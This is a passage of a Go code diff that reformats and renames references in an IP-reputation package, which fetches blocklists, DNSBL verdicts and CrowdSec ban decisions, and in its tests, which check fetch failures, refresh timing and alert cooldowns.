// its length, as over TCP.
|
// its length, as over TCP.
|
||||||
func (s *resolverStandIn) dial(
|
func (s *resolverStandIn) dial(context.Context, string, string) (net.Conn, error) {
|
||||||
context.Context,
|
|
||||||
string,
|
|
||||||
string,
|
|
||||||
) (net.Conn, error) {
|
|
||||||
client, server := net.Pipe()
|
client, server := net.Pipe()
|
||||||
|
|
||||||
go s.serve(server)
|
go s.serve(server)
|
||||||
@@ -653,10 +590,8 @@ func (s *resolverStandIn) serve(conn net.Conn) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
//nolint:gosec // a reply of a few dozen bytes
|
//nolint:gosec // a reply of a few dozen bytes
|
||||||
_, err = conn.Write(
|
_, err = conn.Write(append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
|
||||||
append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
|
reply...))
|
||||||
reply...),
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -757,10 +692,7 @@ func waitForTheResolver() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// newDNSBL returns the DNSBL of p, asking resolver.
|
// newDNSBL returns the DNSBL of p, asking resolver.
|
||||||
func newDNSBL(
|
func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.DNSBL {
|
||||||
resolver *resolverStandIn,
|
|
||||||
p reputation.DNSBLParams,
|
|
||||||
) *reputation.DNSBL {
|
|
||||||
dnsbl := reputation.NewDNSBL(p)
|
dnsbl := reputation.NewDNSBL(p)
|
||||||
dnsbl.SetDial(resolver.dial)
|
dnsbl.SetDial(resolver.dial)
|
||||||
|
|
||||||
@@ -769,12 +701,7 @@ func newDNSBL(
|
|||||||
|
|
||||||
// wantZones checks the zones whose verdict dnsbl says lists client, as a
|
// wantZones checks the zones whose verdict dnsbl says lists client, as a
|
||||||
// request from client finds them.
|
// request from client finds them.
|
||||||
func wantZones(
|
func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...string) {
|
||||||
t *testing.T,
|
|
||||||
dnsbl *reputation.DNSBL,
|
|
||||||
client string,
|
|
||||||
want ...string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client))
|
got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client))
|
||||||
@@ -785,21 +712,12 @@ func wantZones(
|
|||||||
|
|
||||||
// wantQueries checks how many queries dnsbl made to zone, and how many of
|
// wantQueries checks how many queries dnsbl made to zone, and how many of
|
||||||
// them failed.
|
// them failed.
|
||||||
func wantQueries(
|
func wantQueries(t *testing.T, dnsbl *reputation.DNSBL, queries, failures int) {
|
||||||
t *testing.T,
|
|
||||||
dnsbl *reputation.DNSBL,
|
|
||||||
queries, failures int,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures {
|
if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures {
|
||||||
t.Errorf(
|
t.Errorf("%d queries and %d failures, want %d and %d", dnsbl.Queries(zone),
|
||||||
"%d queries and %d failures, want %d and %d",
|
dnsbl.Failures(zone), queries, failures)
|
||||||
dnsbl.Queries(zone),
|
|
||||||
dnsbl.Failures(zone),
|
|
||||||
queries,
|
|
||||||
failures,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -7,8 +7,8 @@
|
|||||||
// and when each was last tried. It also asks the DNSBL zones of
|
// and when each was last tried. It also asks the DNSBL zones of
|
||||||
// SWW_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
// SWW_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
||||||
// clients with AbuseIPDB, and keeps their scores and the checks spent
|
// clients with AbuseIPDB, and keeps their scores and the checks spent
|
||||||
// today. The state package writes all of these to files and reads them
|
// today. The state package writes all of these to reputation.json and
|
||||||
// from there, so that a restart keeps them too.
|
// reads them from it, so that a restart keeps them too.
|
||||||
package reputation
|
package reputation
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -47,17 +47,14 @@ const (
|
|||||||
var (
|
var (
|
||||||
errStatus = errors.New("the server answered")
|
errStatus = errors.New("the server answered")
|
||||||
errTooLong = errors.New("the list is longer than 16 MiB")
|
errTooLong = errors.New("the list is longer than 16 MiB")
|
||||||
errNotNetblock = errors.New(
|
errNotNetblock = errors.New("is not an address or a netblock, such as 192.0.2.0/24")
|
||||||
"is not an address or a netblock, such as 192.0.2.0/24",
|
|
||||||
)
|
|
||||||
errNotASNPercent = errors.New(
|
errNotASNPercent = errors.New(
|
||||||
"is not an AS number, : and a percentage, such as AS64496:50")
|
"is not an AS number, : and a percentage, such as AS64496:50")
|
||||||
errNotDecision = errors.New(
|
errNotDecision = errors.New(
|
||||||
"does not give an address or a netblock and a duration, such as 4h0m0s",
|
"does not give an address or a netblock and a duration, such as 4h0m0s")
|
||||||
)
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// List is a list as lists.json holds it: the URL it is fetched from,
|
// List is a list as reputation.json holds it: the URL it is fetched from,
|
||||||
// when it was last tried, the fetch failed or not, and its last good copy:
|
// when it was last tried, the fetch failed or not, and its last good copy:
|
||||||
// when that was fetched, and its lines, as fetched, comment lines
|
// when that was fetched, and its lines, as fetched, comment lines
|
||||||
// included, both left out while no fetch of it has succeeded.
|
// included, both left out while no fetch of it has succeeded.
|
||||||
@@ -109,7 +106,7 @@ type Lists struct {
|
|||||||
lists map[string]*list
|
lists map[string]*list
|
||||||
}
|
}
|
||||||
|
|
||||||
// list is one list: what lists.json keeps of it, its last try, zero
|
// list is one list: what reputation.json keeps of it, its last try, zero
|
||||||
// before the first, and its last good copy, what that copy says, and how
|
// before the first, and its last good copy, what that copy says, and how
|
||||||
// many fetches of it failed.
|
// many fetches of it failed.
|
||||||
type list struct {
|
type list struct {
|
||||||
@@ -229,10 +226,7 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
|
|||||||
// decision list on a netblock that holds addr and that ends last, and
|
// decision list on a netblock that holds addr and that ends last, and
|
||||||
// whether it is still in force at now. A decision that has ended no
|
// whether it is still in force at now. A decision that has ended no
|
||||||
// longer bans, even before the next fetch drops it.
|
// longer bans, even before the next fetch drops it.
|
||||||
func (l *Lists) CrowdSecDecision(
|
func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) {
|
||||||
addr netip.Addr,
|
|
||||||
now time.Time,
|
|
||||||
) (Decision, bool) {
|
|
||||||
if l.params.CrowdSecDecisionsURL == "" {
|
if l.params.CrowdSecDecisionsURL == "" {
|
||||||
return Decision{}, false
|
return Decision{}, false
|
||||||
}
|
}
|
||||||
@@ -278,7 +272,7 @@ func (l *Lists) Failures(listURL string) int {
|
|||||||
|
|
||||||
// Run fetches each list once it is due, as due tells, until ctx is done. A
|
// Run fetches each list once it is due, as due tells, until ctx is done. A
|
||||||
// list never tried is fetched at once, and so is one that is due by its
|
// list never tried is fetched at once, and so is one that is due by its
|
||||||
// last try or copy read from lists.json.
|
// last try or copy read from reputation.json.
|
||||||
func (l *Lists) Run(ctx context.Context) {
|
func (l *Lists) Run(ctx context.Context) {
|
||||||
if len(l.lists) == 0 {
|
if len(l.lists) == 0 {
|
||||||
return
|
return
|
||||||
@@ -298,7 +292,7 @@ func (l *Lists) Run(ctx context.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Snapshot returns each list that has been tried, with its copy, if it
|
// Snapshot returns each list that has been tried, with its copy, if it
|
||||||
// has one, sorted by URL, as lists.json lists them.
|
// has one, sorted by URL, as reputation.json lists them.
|
||||||
func (l *Lists) Snapshot() []List {
|
func (l *Lists) Snapshot() []List {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
|
|
||||||
@@ -319,7 +313,7 @@ func (l *Lists) Snapshot() []List {
|
|||||||
return tried
|
return tried
|
||||||
}
|
}
|
||||||
|
|
||||||
// Load puts lists, read from lists.json, in place of the last tries
|
// Load puts lists, read from reputation.json, in place of the last tries
|
||||||
// and copies held. A list Params does not name is dropped. A copy with a
|
// and copies held. A list Params does not name is dropped. A copy with a
|
||||||
// line that parse refuses is an error, and then nothing changes.
|
// line that parse refuses is an error, and then nothing changes.
|
||||||
func (l *Lists) Load(lists []List) error {
|
func (l *Lists) Load(lists []List) error {
|
||||||
@@ -437,24 +431,12 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
|
|||||||
// Raised before it is logged, so that the alert is there once the
|
// Raised before it is logged, so that the alert is there once the
|
||||||
// log line is.
|
// log line is.
|
||||||
raiseFailure(l.params.Alerts, failed, listURL, err)
|
raiseFailure(l.params.Alerts, failed, listURL, err)
|
||||||
l.params.ProcessLog.Warn(
|
l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error())
|
||||||
failed,
|
|
||||||
"url",
|
|
||||||
listURL,
|
|
||||||
"error",
|
|
||||||
err.Error(),
|
|
||||||
)
|
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
l.params.ProcessLog.Info(
|
l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines))
|
||||||
"fetched a list",
|
|
||||||
"url",
|
|
||||||
listURL,
|
|
||||||
"lines",
|
|
||||||
len(lines),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// raiseFailure raises a source_failure alert into queue, with reason, and
|
// raiseFailure raises a source_failure alert into queue, with reason, and
|
||||||
@@ -477,12 +459,7 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
|
|||||||
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
|
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(
|
req, err := http.NewRequestWithContext(ctx, http.MethodGet, listURL, http.NoBody)
|
||||||
ctx,
|
|
||||||
http.MethodGet,
|
|
||||||
listURL,
|
|
||||||
http.NoBody,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("make the request: %w", err)
|
return nil, fmt.Errorf("make the request: %w", err)
|
||||||
}
|
}
|
||||||
@@ -593,10 +570,7 @@ func parseNetblock(text string) (netip.Prefix, bool) {
|
|||||||
return netip.Prefix{}, false
|
return netip.Prefix{}, false
|
||||||
}
|
}
|
||||||
|
|
||||||
return netip.PrefixFrom(
|
return netip.PrefixFrom(netblock.Addr().Unmap(), netblock.Bits()-mappedBits), true
|
||||||
netblock.Addr().Unmap(),
|
|
||||||
netblock.Bits()-mappedBits,
|
|
||||||
), true
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// parsePercents reads the lines of the file of AS:percent lines, each an
|
// parsePercents reads the lines of the file of AS:percent lines, each an
|
||||||
@@ -654,8 +628,7 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
|
|||||||
found := entries{decisions: map[netip.Prefix]Decision{}}
|
found := entries{decisions: map[netip.Prefix]Decision{}}
|
||||||
|
|
||||||
for i, decision := range answer {
|
for i, decision := range answer {
|
||||||
if decision.Type != "ban" ||
|
if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") {
|
||||||
(decision.Scope != "Ip" && decision.Scope != "Range") {
|
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -663,19 +636,12 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
|
|||||||
|
|
||||||
duration, err := time.ParseDuration(decision.Duration)
|
duration, err := time.ParseDuration(decision.Duration)
|
||||||
if !ok || err != nil {
|
if !ok || err != nil {
|
||||||
return entries{}, fmt.Errorf(
|
return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision)
|
||||||
"decision %d %w",
|
|
||||||
i+1,
|
|
||||||
errNotDecision,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
expires := fetched.Add(duration)
|
expires := fetched.Add(duration)
|
||||||
if expires.After(found.decisions[netblock].Expires) {
|
if expires.After(found.decisions[netblock].Expires) {
|
||||||
found.decisions[netblock] = Decision{
|
found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario}
|
||||||
Expires: expires,
|
|
||||||
Scenario: decision.Scenario,
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if !slices.Contains(found.lengths, netblock.Bits()) {
|
if !slices.Contains(found.lengths, netblock.Bits()) {
|
||||||
|
|||||||
@@ -72,9 +72,7 @@ func TestListedAddressesAndNetblocksWithTheCommentsLeftOut(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(
|
func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
now := time.Now()
|
now := time.Now()
|
||||||
@@ -128,9 +126,7 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
servers := &standIn{
|
servers := &standIn{lists: map[string]string{dropURL: "203.0.113.9\n"}}
|
||||||
lists: map[string]string{dropURL: "203.0.113.9\n"},
|
|
||||||
}
|
|
||||||
lists := start(t, servers, params(dropURL))
|
lists := start(t, servers, params(dropURL))
|
||||||
began := time.Now()
|
began := time.Now()
|
||||||
|
|
||||||
@@ -146,21 +142,41 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
|
|||||||
wantListedBy(t, lists, "203.0.113.9")
|
wantListedBy(t, lists, "203.0.113.9")
|
||||||
wantListedBy(t, lists, "203.0.113.10", dropURL)
|
wantListedBy(t, lists, "203.0.113.10", dropURL)
|
||||||
|
|
||||||
if fetched := lists.Fetched(dropURL); !fetched.Equal(
|
if fetched := lists.Fetched(dropURL); !fetched.Equal(began.Add(refresh)) {
|
||||||
began.Add(refresh),
|
|
||||||
) {
|
|
||||||
t.Errorf("the copy in use was fetched at %s, want %s", fetched,
|
t.Errorf("the copy in use was fetched at %s, want %s", fetched,
|
||||||
began.Add(refresh))
|
began.Add(refresh))
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
|
func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range listFailures() {
|
for _, tc := range []struct {
|
||||||
|
name string
|
||||||
|
// fail has the stand-in answer the fetches after the first so that
|
||||||
|
// they fail with error.
|
||||||
|
fail func(servers *standIn)
|
||||||
|
error string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
"an answer other than 200",
|
||||||
|
func(servers *standIn) { servers.set(dropURL, "") },
|
||||||
|
"the server answered 503 Service Unavailable",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"a line that does not read",
|
||||||
|
func(servers *standIn) { servers.set(dropURL, "203.0.113.10\n<html>\n") },
|
||||||
|
"line 2 is not an address or a netblock, such as 192.0.2.0/24",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"a list longer than 16 MiB",
|
||||||
|
func(servers *standIn) {
|
||||||
|
servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
|
||||||
|
},
|
||||||
|
"the list is longer than 16 MiB",
|
||||||
|
},
|
||||||
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -189,13 +205,8 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
|
|||||||
want := kept[0]
|
want := kept[0]
|
||||||
want.Tried = time.Now()
|
want.Tried = time.Now()
|
||||||
|
|
||||||
got := lists.Snapshot()
|
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
|
||||||
if !reflect.DeepEqual(got, []reputation.List{want}) {
|
t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
|
||||||
t.Errorf(
|
|
||||||
"lists %+v, want the first copy, last tried now, %+v",
|
|
||||||
got,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if lists.Failures(dropURL) != 2 {
|
if lists.Failures(dropURL) != 2 {
|
||||||
@@ -204,14 +215,10 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
|
|||||||
|
|
||||||
// One alert for the first failure; the cooldown holds back the
|
// One alert for the first failure; the cooldown holds back the
|
||||||
// second.
|
// second.
|
||||||
failed := time.Now().Add(-refresh)
|
wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error))
|
||||||
wantAlert(t, queue, fetchFailure(failed, dropURL, tc.error))
|
|
||||||
|
|
||||||
if !strings.Contains(
|
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
|
||||||
log.String(),
|
`"url":"`+dropURL+`","error":"`+tc.error) {
|
||||||
`"msg":"fetching a list failed",`+
|
|
||||||
`"url":"`+dropURL+`","error":"`+tc.error,
|
|
||||||
) {
|
|
||||||
t.Errorf("logged\n%s\nwant the failures", log.String())
|
t.Errorf("logged\n%s\nwant the failures", log.String())
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -219,40 +226,6 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// listFailure is a way a list's fetch can fail.
|
|
||||||
type listFailure struct {
|
|
||||||
name string
|
|
||||||
// fail has the stand-in answer the fetches after the first so that
|
|
||||||
// they fail with error.
|
|
||||||
fail func(servers *standIn)
|
|
||||||
error string
|
|
||||||
}
|
|
||||||
|
|
||||||
// listFailures returns the ways a list's fetch can fail.
|
|
||||||
func listFailures() []listFailure {
|
|
||||||
return []listFailure{
|
|
||||||
{
|
|
||||||
"an answer other than 200",
|
|
||||||
func(servers *standIn) { servers.set(dropURL, "") },
|
|
||||||
"the server answered 503 Service Unavailable",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a line that does not read",
|
|
||||||
func(servers *standIn) {
|
|
||||||
servers.set(dropURL, "203.0.113.10\n<html>\n")
|
|
||||||
},
|
|
||||||
"line 2 is not an address or a netblock, such as 192.0.2.0/24",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a list longer than 16 MiB",
|
|
||||||
func(servers *standIn) {
|
|
||||||
servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
|
|
||||||
},
|
|
||||||
"the list is longer than 16 MiB",
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
|
func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -264,27 +237,19 @@ func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
if lists.Failures(dropURL) != 0 {
|
if lists.Failures(dropURL) != 0 {
|
||||||
t.Errorf(
|
t.Errorf("%d failures before a minute, want none", lists.Failures(dropURL))
|
||||||
"%d failures before a minute, want none",
|
|
||||||
lists.Failures(dropURL),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
time.Sleep(time.Nanosecond)
|
time.Sleep(time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
if lists.Failures(dropURL) != 1 {
|
if lists.Failures(dropURL) != 1 {
|
||||||
t.Errorf(
|
t.Errorf("%d failures after a minute, want 1", lists.Failures(dropURL))
|
||||||
"%d failures after a minute, want 1",
|
|
||||||
lists.Failures(dropURL),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(
|
func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -295,18 +260,10 @@ func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(
|
|||||||
lists.SetTransport(servers)
|
lists.SetTransport(servers)
|
||||||
|
|
||||||
// drop.txt was fetched an hour ago, and tor.txt a refresh ago, as
|
// drop.txt was fetched an hour ago, and tor.txt a refresh ago, as
|
||||||
// lists.json says at start.
|
// reputation.json says at start.
|
||||||
err := lists.Load([]reputation.List{
|
err := lists.Load([]reputation.List{
|
||||||
{
|
{URL: dropURL, Fetched: time.Now().Add(-time.Hour), Lines: []string{"203.0.113.9"}},
|
||||||
URL: dropURL,
|
{URL: torURL, Fetched: time.Now().Add(-refresh), Lines: []string{"198.51.100.9"}},
|
||||||
Fetched: time.Now().Add(-time.Hour),
|
|
||||||
Lines: []string{"203.0.113.9"},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
URL: torURL,
|
|
||||||
Fetched: time.Now().Add(-refresh),
|
|
||||||
Lines: []string{"198.51.100.9"},
|
|
||||||
},
|
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("load: %v", err)
|
t.Fatalf("load: %v", err)
|
||||||
@@ -333,20 +290,16 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
|
|||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
// drop.txt is fetched, and a refresh later the fetch downloads it
|
// drop.txt is fetched, and a refresh later the fetch downloads it
|
||||||
// whole but fails on a line that does not read.
|
// whole but fails on a line that does not read.
|
||||||
servers := &standIn{
|
servers := &standIn{lists: map[string]string{dropURL: "198.51.100.1\n"}}
|
||||||
lists: map[string]string{dropURL: "198.51.100.1\n"},
|
|
||||||
}
|
|
||||||
lists := start(t, servers, params(dropURL))
|
lists := start(t, servers, params(dropURL))
|
||||||
|
|
||||||
servers.set(dropURL, "198.51.100.2\n<html>\n")
|
servers.set(dropURL, "198.51.100.2\n<html>\n")
|
||||||
time.Sleep(refresh)
|
time.Sleep(refresh)
|
||||||
wantFetches(t, servers, 2)
|
wantFetches(t, servers, 2)
|
||||||
|
|
||||||
// Restarted with what lists.json keeps, it waits a refresh
|
// Restarted with what reputation.json keeps, it waits a refresh
|
||||||
// after the failed try, as it does while it runs.
|
// after the failed try, as it does while it runs.
|
||||||
restarted := &standIn{
|
restarted := &standIn{lists: map[string]string{dropURL: "198.51.100.2\n"}}
|
||||||
lists: map[string]string{dropURL: "198.51.100.2\n"},
|
|
||||||
}
|
|
||||||
again := reputation.New(params(dropURL))
|
again := reputation.New(params(dropURL))
|
||||||
again.SetTransport(restarted)
|
again.SetTransport(restarted)
|
||||||
|
|
||||||
@@ -396,14 +349,11 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
|
|||||||
wantFetches(t, servers, 1)
|
wantFetches(t, servers, 1)
|
||||||
|
|
||||||
if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 {
|
if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 {
|
||||||
t.Errorf(
|
t.Errorf("%d failures and alerts %+v, want none", lists.Failures(dropURL),
|
||||||
"%d failures and alerts %+v, want none",
|
waiting(queue))
|
||||||
lists.Failures(dropURL),
|
|
||||||
waiting(queue),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Restarted an hour later with what lists.json keeps, it fetches
|
// Restarted an hour later with what reputation.json keeps, it fetches
|
||||||
// tor.txt, never tried, at once, and drop.txt a refresh after its
|
// tor.txt, never tried, at once, and drop.txt a refresh after its
|
||||||
// cut-off try.
|
// cut-off try.
|
||||||
time.Sleep(time.Hour)
|
time.Sleep(time.Hour)
|
||||||
@@ -432,9 +382,7 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(
|
func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -449,13 +397,7 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(
|
|||||||
for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} {
|
for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} {
|
||||||
percent, listed := lists.ASNLimitPercent(asn)
|
percent, listed := lists.ASNLimitPercent(asn)
|
||||||
if !listed || percent != want {
|
if !listed || percent != want {
|
||||||
t.Errorf(
|
t.Errorf("%s has %d (listed %t), want %d", asn, percent, listed, want)
|
||||||
"%s has %d (listed %t), want %d",
|
|
||||||
asn,
|
|
||||||
percent,
|
|
||||||
listed,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -474,9 +416,7 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(
|
func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
|
fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
|
||||||
@@ -492,18 +432,13 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(
|
|||||||
t.Fatalf("load: %v", err)
|
t.Fatalf("load: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got := lists.Snapshot(); !reflect.DeepEqual(
|
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
|
||||||
got,
|
|
||||||
[]reputation.List{kept},
|
|
||||||
) {
|
|
||||||
t.Errorf("copies %+v, want only %+v", got, kept)
|
t.Errorf("copies %+v, want only %+v", got, kept)
|
||||||
}
|
}
|
||||||
|
|
||||||
err = lists.Load(
|
err = lists.Load([]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
|
||||||
[]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
|
|
||||||
"; DROP", "203.0.113.300",
|
"; DROP", "203.0.113.300",
|
||||||
}}},
|
}}})
|
||||||
)
|
|
||||||
|
|
||||||
const want = "the copy of " + dropURL +
|
const want = "the copy of " + dropURL +
|
||||||
": line 2 is not an address or a netblock, such as 192.0.2.0/24"
|
": line 2 is not an address or a netblock, such as 192.0.2.0/24"
|
||||||
@@ -511,10 +446,7 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(
|
|||||||
t.Errorf("error %v, want %s", err, want)
|
t.Errorf("error %v, want %s", err, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got := lists.Snapshot(); !reflect.DeepEqual(
|
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
|
||||||
got,
|
|
||||||
[]reputation.List{kept},
|
|
||||||
) {
|
|
||||||
t.Errorf("copies %+v after the error, want %+v still", got, kept)
|
t.Errorf("copies %+v after the error, want %+v still", got, kept)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -648,12 +580,7 @@ func wantFetches(t *testing.T, servers *standIn, want int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantListedBy checks the URLs of the blocklists lists says list addr.
|
// wantListedBy checks the URLs of the blocklists lists says list addr.
|
||||||
func wantListedBy(
|
func wantListedBy(t *testing.T, lists *reputation.Lists, addr string, want ...string) {
|
||||||
t *testing.T,
|
|
||||||
lists *reputation.Lists,
|
|
||||||
addr string,
|
|
||||||
want ...string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := lists.ListedBy(netip.MustParseAddr(addr))
|
got := lists.ListedBy(netip.MustParseAddr(addr))
|
||||||
@@ -684,13 +611,8 @@ func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := waiting(queue)
|
got := waiting(queue)
|
||||||
if len(got) != 1 || !reflect.DeepEqual(got[0], want) ||
|
if len(got) != 1 || !reflect.DeepEqual(got[0], want) || queue.Suppressed() != 1 {
|
||||||
queue.Suppressed() != 1 {
|
t.Errorf("alerts waiting %+v, %d held back, want only %+v and 1", got,
|
||||||
t.Errorf(
|
queue.Suppressed(), want)
|
||||||
